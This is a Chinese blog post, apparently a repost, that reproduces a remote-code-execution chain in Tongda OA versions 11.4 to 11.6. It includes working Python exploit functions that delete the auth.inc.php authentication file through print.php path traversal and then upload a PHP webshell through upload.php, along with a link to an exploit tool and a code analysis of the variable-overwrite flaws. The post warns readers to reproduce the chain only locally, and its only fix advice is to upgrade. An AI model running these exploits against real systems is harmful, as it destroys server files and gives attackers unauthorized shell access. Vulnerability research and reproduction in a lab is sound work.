zoukankan      html  css  js  c++  java
  • 通达OA任意文件删除/OA未授权访问+任意文件上传RCE漏洞复现

    0x00 简介

    通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠。数据存取集中控制,避免了数据泄漏的可能。提供数据备份工具,保护系统数据安全。多级的权限控制,完善的密码验证与登录验证机制更加强了系统安全性。

    今天看了好多通达OA的文章,根据护网中出现的一些0day,进行一波分析,其中感觉9hu大佬分析的很到位,然后来以此为基准,一起来看一下这个影响较深的漏洞。然后我自己感觉,出现的漏洞只是表面的一些,其中还有肯定是未公布的,包括我之前在别的版本审计到的一些漏洞,都是可以利用的,总感觉技术写的代码不是怎么完善,还需要继续完善,而且肯定以后还会继续爆洞,这是不可避免的。

    0x01 漏洞描述

    该漏洞是由于print.php存在任意文件删除漏洞,通过删除通达OA身份认证文件auth.inc.php达到绕过登录限制, 结合任意文件上传达到RCE的效果

    0x02 影响版本

     通达OA<v11.5&v11.6版本(任意文件删除仅影响11.6、未授权访问影响<11.5)

    0x03 漏洞环境搭建

    1、下载:

    https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe

    https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe

    2、在Windows下直接双击安装,OA管理员用户名:admin  密码为空

    点击确定访问

    OA管理员用户名:admin  密码为空
    使用解密工具SeayDzend解密源码

    通达OA11.6及解密工具:
    链接: https://pan.baidu.com/s/1Wh9g4Xp1nIqZ5zPRt8rARg 密码: 77ch

    0x04 漏洞复现

    注意!该漏洞会删除服务器上的文件!谨慎复现!

    工具下载地址:

    https://github.com/admintony/TongdaRCE

    使用脚本删除文件后再登陆会变成这样

    所以一定要提示一下:切勿乱使用网络环境,请本地搭建复现!

    安装tongda 11.4,利用oa未授权漏洞结合任意文件上传getshell

    getshell利用链如下:

    """ 11.6版本 getshell利用链 """
    def getShellV11_6(target):
        print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
        input("Press enter to continue")
        print("[*]Deleting auth.inc.php....")
        url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
        requests.get(url=url,verify=False)
        print("[*]Checking if file deleted...")
        url=target+"/inc/auth.inc.php"
        page=requests.get(url=url,verify=False).text
        if 'No input file specified.' not in page:
            print("[-]Failed to deleted auth.inc.php")
            exit(-1)
        print("[+]Successfully deleted auth.inc.php!")
        print("[*]Uploading payload...")
        url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
        files = {'FILE1': ('at.php', payload)}
        res=requests.post(url=url,files=files,verify=False)
        url=target+"/_at.php"
        page=requests.get(url=url,verify=False).text
        if 'No input file specified.' not in page:
            print("[+]Filed Uploaded Successfully")
            print("[+]URL:",url)
        else:
            print("[-]Failed to upload file")
    
    """ 低于11.5版本 getshell利用链 """
    def getShellV11_x(target):
        cookie=getV11Session(target)
        if not cookie:
            print("[-] Failed to get Session")
            return
        headers={"Cookie":cookie+";_SERVER="}
        print("[*]Uploading payload...")
        url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
        files = {'FILE1': ('at.php', payload)}
        res=requests.post(url=url,files=files,headers=headers,verify=False)
        url=target+"/_at.php"
        page=requests.get(url=url,verify=False).text
        if 'No input file specified.' not in page:
            print("[+]Filed Uploaded Successfully")
            print("[+]URL:",url)
        else:
            print("[-]Failed to upload file")

    0x05 漏洞分析

    从网上公布的EXP可以知道会删除掉auth.inc.php文件,该文件是通达用于做身份验证的,需要登录访问的文件都会将它包含进来.包括后面需要用到的upload.php也包含了此文件,但是是通过include包含进来的区别于require若包含文件不存在include是不会导致程序终止的。

    接着定位到任意文件删除的漏洞点/module/appbuilder/assets/print.php。直直白白, 打头6行代码就实现了任意文件删除。

    只要GET传值guid=../../../webroot/inc/auth.inc.php, 带入unlink就可以删除上面介绍的身份验证文件, 那么大多数需要身份验证的地方将失效。

    再介绍upload.php利用之前, 先讲一下通达OA祖传变量覆盖。这里有个坑就是, 有的解密工具会漏掉一个$, 导致掉了一键盘的头发也不明白变量覆盖在哪里… 因为该文件是common.inc.php, 可想而知大部分文件都有包含,大部分地方可以拿变量覆盖来进行操作。

    接着定位到上传点/general/data_center/utils/upload.php,  第9行变量覆盖action为upload盘进if,接着我们upload位置就是/data_center/attachment了。第84行变量覆盖s_n为我们的恶意文件, 90行upload位置拼接上s_n就是我们最终文件所在的位置。这里在87行变量覆盖repkid为../../../就能目录穿越将我们的马儿放在其他目录下, 至于为什么后面会说。

    参考了前辈文章, 之所以要目录穿越到其他位置存放马, 是因为通达OA的nginx限制了attachment目录下文件访问的权限, 导致我们无法正常解析我们的马。~* 表示正则模式, 匹配到以attachment开头的任意php等敏感文件都不允许。

    0x06 修复建议

    升级到最新版本。

    转载请注明:Adminxe's Blog » 通达OA任意文件删除/OA未授权访问+任意文件上传RCE漏洞复现

  • 相关阅读:
    leetcode701. Insert into a Binary Search Tree
    leetcode 958. Check Completeness of a Binary Tree 判断是否是完全二叉树 、222. Count Complete Tree Nodes
    leetcode 110. Balanced Binary Tree
    leetcode 104. Maximum Depth of Binary Tree 111. Minimum Depth of Binary Tree
    二叉树
    leetcode 124. Binary Tree Maximum Path Sum 、543. Diameter of Binary Tree(直径)
    5. Longest Palindromic Substring
    128. Longest Consecutive Sequence
    Mac OS下Android Studio的Java not found问题,androidfound
    安卓 AsyncHttpClient
  • 原文地址:https://www.cnblogs.com/cn-gov/p/13712683.html
Copyright © 2011-2022 走看看